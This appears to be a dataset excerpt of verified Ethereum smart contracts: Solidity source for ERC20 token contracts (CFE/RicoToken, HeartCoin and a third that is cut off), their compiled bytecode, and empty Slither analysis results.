address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x6f80d952ee3ccd5eb1630e3a26f74f0e178f7e91
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function _burn(address _burner, uint256 _value) internal { require(_value <= balances[_burner]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_burner] = balances[_burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(_burner, _value); Transfer(_burner, address(0), _value); } } contract DividendPayoutToken is BurnableToken, MintableToken { // Dividends already claimed by investor mapping(address => uint256) public dividendPayments; // Total dividends claimed by all investors uint256 public totalDividendPayments; // invoke this function after each dividend payout function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public { dividendPayments[_investor] = dividendPayments[_investor].add(_amount); totalDividendPayments = totalDividendPayments.add(_amount); } //When transfer tokens decrease dividendPayments for sender and increase for receiver function transfer(address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[msg.sender]; // invoke super function with requires bool isTransferred = super.transfer(_to, _value); uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom); dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[_from]; // invoke super function with requires bool isTransferred = super.transferFrom(_from, _to, _value); uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom); dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function burn() public { address burner = msg.sender; // balance before burning tokens uint256 oldBalance = balances[burner]; super._burn(burner, oldBalance); uint256 burnedClaims = dividendPayments[burner]; dividendPayments[burner] = dividendPayments[burner].sub(burnedClaims); totalDividendPayments = totalDividendPayments.sub(burnedClaims); SaleInterface(owner).refund(burner); } } contract RicoToken is DividendPayoutToken { string public constant name = "CFE"; string public constant symbol = "CFE"; uint8 public constant decimals = 18; } // Interface for PreSale and CrowdSale contracts with refund function contract SaleInterface { function refund(address _to) public; }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013d578063095ea7b3146101c7578063127eca3f146101e957806318160ddd1461020e57806323b872dd14610221578063313ce5671461024957806340c10f191461027257806344df8e701461029457806366188463146102a957806370a08231146102cb57806372fdbf25146102ea5780637d64bcb41461030c5780638da5cb5b1461031f57806395d89b411461013d578063a9059cbb1461034e578063d73dd62314610370578063dd62ed3e14610392578063de3636cf146103b7578063f2fde38b146103d6575b600080fd5b341561012157600080fd5b6101296103f5565b604051901515815260200160405180910390f35b341561014857600080fd5b610150610416565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018c578082015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610129600160a060020a036004351660243561044d565b34156101f457600080fd5b6101fc6104b9565b60405190815260200160405180910390f35b341561021957600080fd5b6101fc6104bf565b341561022c57600080fd5b610129600160a060020a03600435811690602435166044356104c5565b341561025457600080fd5b61025c6105b1565b60405160ff909116815260200160405180910390f35b341561027d57600080fd5b610129600160a060020a03600435166024356105b6565b341561029f57600080fd5b6102a76106c3565b005b34156102b457600080fd5b610129600160a060020a03600435166024356107bf565b34156102d657600080fd5b6101fc600160a060020a03600435166108bb565b34156102f557600080fd5b6102a7600160a060020a03600435166024356108d6565b341561031757600080fd5b61012961094d565b341561032a57600080fd5b6103326109fa565b604051600160a060020a03909116815260200160405180910390f35b341561035957600080fd5b610129600160a060020a0360043516602435610a09565b341561037b57600080fd5b610129600160a060020a0360043516602435610ae7565b341561039d57600080fd5b6101fc600160a060020a0360043581169060243516610b8b565b34156103c257600080fd5b6101fc600160a060020a0360043516610bb6565b34156103e157600080fd5b6102a7600160a060020a0360043516610bc8565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600381527f4346450000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055481565b60015490565b600160a060020a03831660009081526020819052604081205481806104eb878787610c63565b600160a060020a03881660009081526004602052604090205490925061052990849061051d908863ffffffff610dd116565b9063ffffffff610e0316565b600160a060020a038816600090815260046020526040902054909150610555908263ffffffff610e1816565b600160a060020a03808916600090815260046020526040808220939093559088168152205461058a908263ffffffff610e2a16565b600160a060020a039690961660009081526004602052604090209590955595945050505050565b601281565b60035460009033600160a060020a039081169116146105d457600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105fc57600080fd5b60015461060f908363ffffffff610e2a16565b600155600160a060020a03831660009081526020819052604090205461063b908363ffffffff610e2a16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206110258339815191528460405190815260200160405180910390a350600192915050565b33600160a060020a038116600090815260208190526040812054906106e88383610e39565b50600160a060020a038216600090815260046020526040902054610712818063ffffffff610e1816565b600160a060020a03841660009081526004602052604090205560055461073e908263ffffffff610e1816565b600555600354600160a060020a031663fa89401a846040517c010000000000000000000000000000000000000000000000000000000063ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156107aa57600080fd5b5af115156107b757600080fd5b505050505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561081c57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610853565b61082c818463ffffffff610e1816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a039081169116146108f157600080fd5b600160a060020a03821660009081526004602052604090205461091a908263ffffffff610e2a16565b600160a060020a038316600090815260046020526040902055600554610946908263ffffffff610e2a16565b6005555050565b60035460009033600160a060020a0390811691161461096b57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561099357600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b600160a060020a0333166000908152602081905260408120548180610a2e8686610f24565b600160a060020a033316600090815260046020526040902054909250610a6090849061051d908863ffffffff610dd116565b600160a060020a033316600090815260046020526040902054909150610a8c908263ffffffff610e1816565b600160a060020a033381166000908152600460205260408082209390935590881681522054610ac1908263ffffffff610e2a16565b600160a060020a0396909616600090815260046020526040902095909555949350505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b1f908363ffffffff610e2a16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60046020526000908152604090205481565b60035433600160a060020a03908116911614610be357600080fd5b600160a060020a0381161515610bf857600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610c7a57600080fd5b600160a060020a038416600090815260208190526040902054821115610c9f57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610cd257600080fd5b600160a060020a038416600090815260208190526040902054610cfb908363ffffffff610e1816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610d30908363ffffffff610e2a16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610d76908363ffffffff610e1816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206110258339815191529085905190815260200160405180910390a35060019392505050565b600080831515610de457600091506108b4565b50828202828482811515610df457fe5b0414610dfc57fe5b9392505050565b60008183811515610e1057fe5b049392505050565b600082821115610e2457fe5b50900390565b600082820183811015610dfc57fe5b600160a060020a038216600090815260208190526040902054811115610e5e57600080fd5b600160a060020a038216600090815260208190526040902054610e87908263ffffffff610e1816565b600160a060020a038316600090815260208190526040902055600154610eb3908263ffffffff610e1816565b600155600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383166000805160206110258339815191528360405190815260200160405180910390a35050565b6000600160a060020a0383161515610f3b57600080fd5b600160a060020a033316600090815260208190526040902054821115610f6057600080fd5b600160a060020a033316600090815260208190526040902054610f89908363ffffffff610e1816565b600160a060020a033381166000908152602081905260408082209390935590851681522054610fbe908363ffffffff610e2a16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206110258339815191528460405190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207e78122f975386d42fc18c475b2083572b6eaea2d63ae4617ac523e3035b86b60029
{"success": true, "error": null, "results": {}}
3,000
0xfa476a68fece57f7ff166377c4f472bae068bb38
pragma solidity ^0.5.2; // produced by the Solididy File SCC(c) Danny Hwang 2018 // contact : dannyhwang.scc@gmail.com // released under Apache 2.0 licence library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract HeartCoin is ERC20, ERC20Detailed, ERC20Burnable { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("HeartCoin", "HTC", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b5060043610610112576000357c01000000000000000000000000000000000000000000000000000000009004806339509351116100b457806395d89b411161008357806395d89b41146102ef578063a457c2d7146102f7578063a9059cbb14610323578063dd62ed3e1461034f57610112565b8063395093511461025257806342966c681461027e57806370a082311461029d57806379cc6790146102c357610112565b806323b872dd116100f057806323b872dd146101ee5780632e0f2625146102245780632ff2e9dc14610242578063313ce5671461024a57610112565b806306fdde0314610117578063095ea7b31461019457806318160ddd146101d4575b600080fd5b61011f61037d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610159578181015183820152602001610141565b50505050905090810190601f1680156101865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c0600480360360408110156101aa57600080fd5b50600160a060020a038135169060200135610413565b604080519115158252519081900360200190f35b6101dc610429565b60408051918252519081900360200190f35b6101c06004803603606081101561020457600080fd5b50600160a060020a0381358116916020810135909116906040013561042f565b61022c610486565b6040805160ff9092168252519081900360200190f35b6101dc61048b565b61022c61049a565b6101c06004803603604081101561026857600080fd5b50600160a060020a0381351690602001356104a3565b61029b6004803603602081101561029457600080fd5b50356104df565b005b6101dc600480360360208110156102b357600080fd5b5035600160a060020a03166104ec565b61029b600480360360408110156102d957600080fd5b50600160a060020a038135169060200135610507565b61011f610515565b6101c06004803603604081101561030d57600080fd5b50600160a060020a038135169060200135610576565b6101c06004803603604081101561033957600080fd5b50600160a060020a0381351690602001356105b2565b6101dc6004803603604081101561036557600080fd5b50600160a060020a03813581169160200135166105bf565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104095780601f106103de57610100808354040283529160200191610409565b820191906000526020600020905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b60006104203384846105ea565b50600192915050565b60025490565b600061043c848484610676565b600160a060020a03841660009081526001602090815260408083203380855292529091205461047c918691610477908663ffffffff61074316565b6105ea565b5060019392505050565b601281565b6a52b7d2dcc80cd2e400000081565b60055460ff1690565b336000818152600160209081526040808320600160a060020a03871684529091528120549091610420918590610477908663ffffffff61075816565b6104e93382610771565b50565b600160a060020a031660009081526020819052604090205490565b610511828261081a565b5050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104095780601f106103de57610100808354040283529160200191610409565b336000818152600160209081526040808320600160a060020a03871684529091528120549091610420918590610477908663ffffffff61074316565b6000610420338484610676565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a03821615156105ff57600080fd5b600160a060020a038316151561061457600080fd5b600160a060020a03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a038216151561068b57600080fd5b600160a060020a0383166000908152602081905260409020546106b4908263ffffffff61074316565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106e9908263ffffffff61075816565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282111561075257600080fd5b50900390565b60008282018381101561076a57600080fd5b9392505050565b600160a060020a038216151561078657600080fd5b600254610799908263ffffffff61074316565b600255600160a060020a0382166000908152602081905260409020546107c5908263ffffffff61074316565b600160a060020a038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b6108248282610771565b600160a060020a038216600090815260016020908152604080832033808552925290912054610511918491610477908563ffffffff6107431656fea165627a7a72305820cab97c193ce2e4f603023cfcc0471e19cfed2a612aaffd875bb944fab40b956a0029
{"success": true, "error": null, "results": {}}
3,001
0x8c76fc910514a06eb8d79254bca8947ae1862c21
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount 